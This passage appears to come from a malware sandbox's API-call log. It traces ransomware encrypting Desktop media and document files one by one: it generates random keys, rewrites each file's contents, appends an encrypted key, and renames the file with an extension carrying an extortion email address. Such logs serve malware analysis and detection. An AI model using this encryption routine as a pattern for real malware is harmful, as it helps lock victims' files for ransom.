pbBuffer=0x5c5088) returned 1 [0111.636] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.636] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\qUDO7qfocRy.flv", dwFileAttributes=0x80) returned 1 [0111.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0111.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563f48 [0111.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0111.637] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\qUDO7qfocRy.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\qudo7qfocry.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.637] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76557) returned 1 [0111.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12b0d) returned 0x5e9bd0 [0111.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12b0d) returned 0x5fc6e8 [0111.637] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x12b0d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x12b0d, lpOverlapped=0x0) returned 1 [0111.641] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-76557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.641] WriteFile (in: hFile=0x5e4, lpBuffer=0x5fc6e8*, nNumberOfBytesToWrite=0x12b0d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fc6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12b0d, lpOverlapped=0x0) returned 1 [0111.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fc6e8 | out: hHeap=0x520000) returned 1 [0111.643] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12b0d [0111.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.645] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.645] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.645] CloseHandle (hObject=0x5e4) returned 1 [0111.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.645] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\qUDO7qfocRy.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\qudo7qfocry.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\qUDO7qfocRy.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\qudo7qfocry.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f48 | out: hHeap=0x520000) returned 1 [0111.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0111.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0111.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0111.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0111.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\QFGPRrQMhX.wav", dwFileAttributes=0x80) returned 1 [0111.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0111.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\QFGPRrQMhX.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qfgprrqmhx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.651] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1273) returned 1 [0111.651] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x4f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0111.652] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.652] WriteFile (in: hFile=0x5e4, lpBuffer=0x5ea0d8*, nNumberOfBytesToWrite=0x4f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ea0d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0111.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ea0d8 | out: hHeap=0x520000) returned 1 [0111.653] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f9 [0111.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.653] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.653] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.654] CloseHandle (hObject=0x5e4) returned 1 [0111.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0111.654] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\QFGPRrQMhX.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qfgprrqmhx.wav"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\QFGPRrQMhX.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\qfgprrqmhx.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ab0 | out: hHeap=0x520000) returned 1 [0111.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0111.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0111.657] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.657] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.657] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\oPswvJrfbiTTgr2a.mp3", dwFileAttributes=0x80) returned 1 [0111.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57ef48 [0111.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7f18 [0111.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef48 | out: hHeap=0x520000) returned 1 [0111.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\oPswvJrfbiTTgr2a.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\opswvjrfbittgr2a.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.658] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=66943) returned 1 [0111.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1057f) returned 0x5e9bd0 [0111.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1057f) returned 0x5fa158 [0111.658] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1057f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1057f, lpOverlapped=0x0) returned 1 [0111.661] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-66943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.661] WriteFile (in: hFile=0x5e4, lpBuffer=0x5fa158*, nNumberOfBytesToWrite=0x1057f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fa158*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1057f, lpOverlapped=0x0) returned 1 [0111.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fa158 | out: hHeap=0x520000) returned 1 [0111.663] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1057f [0111.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.664] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.665] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.665] CloseHandle (hObject=0x5e4) returned 1 [0111.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.665] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\oPswvJrfbiTTgr2a.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\opswvjrfbittgr2a.mp3"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\oPswvJrfbiTTgr2a.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\opswvjrfbittgr2a.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f18 | out: hHeap=0x520000) returned 1 [0111.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0111.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0111.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0111.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0111.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0111.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0111.669] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\nZuGsnB03RDCt_Z.odp", dwFileAttributes=0x80) returned 1 [0111.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0111.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7c38 [0111.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0111.669] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\nZuGsnB03RDCt_Z.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\nzugsnb03rdct_z.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.669] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=55290) returned 1 [0111.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd7fa) returned 0x5e9bd0 [0111.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd7fa) returned 0x5f73d8 [0111.670] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xd7fa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xd7fa, lpOverlapped=0x0) returned 1 [0111.672] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-55290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.672] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f73d8*, nNumberOfBytesToWrite=0xd7fa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f73d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd7fa, lpOverlapped=0x0) returned 1 [0111.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f73d8 | out: hHeap=0x520000) returned 1 [0111.674] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd7fa [0111.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.675] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.675] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.675] CloseHandle (hObject=0x5e4) returned 1 [0111.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0111.675] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\nZuGsnB03RDCt_Z.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\nzugsnb03rdct_z.odp"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\nZuGsnB03RDCt_Z.odp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\nzugsnb03rdct_z.odp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7c38 | out: hHeap=0x520000) returned 1 [0111.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0111.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0111.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0111.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.678] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\NNT2Q-EUeYTHvp-uTx.mp4", dwFileAttributes=0x80) returned 1 [0111.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8140 [0111.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\NNT2Q-EUeYTHvp-uTx.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\nnt2q-eueythvp-utx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.679] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20574) returned 1 [0111.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x505e) returned 0x5e9bd0 [0111.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x505e) returned 0x5eec38 [0111.679] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x505e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x505e, lpOverlapped=0x0) returned 1 [0111.681] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-20574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.681] WriteFile (in: hFile=0x5e4, lpBuffer=0x5eec38*, nNumberOfBytesToWrite=0x505e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eec38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x505e, lpOverlapped=0x0) returned 1 [0111.681] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x505e [0111.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.682] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.682] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.682] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.682] CloseHandle (hObject=0x5e4) returned 1 [0111.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0111.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.682] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\NNT2Q-EUeYTHvp-uTx.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\nnt2q-eueythvp-utx.mp4"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\NNT2Q-EUeYTHvp-uTx.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\nnt2q-eueythvp-utx.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8140 | out: hHeap=0x520000) returned 1 [0111.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0111.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0111.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0111.685] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.685] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0111.685] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\N9ikaULK4pWv DBBCI.m4a", dwFileAttributes=0x80) returned 1 [0111.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0111.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0111.685] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0111.685] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\N9ikaULK4pWv DBBCI.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\n9ikaulk4pwv dbbci.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.686] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93988) returned 1 [0111.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16f24) returned 0x5e9bd0 [0111.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16f24) returned 0x2f40050 [0111.687] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x16f24, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x16f24, lpOverlapped=0x0) returned 1 [0111.691] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-93988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.691] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x16f24, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16f24, lpOverlapped=0x0) returned 1 [0111.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0111.696] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16f24 [0111.696] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.696] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.697] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, 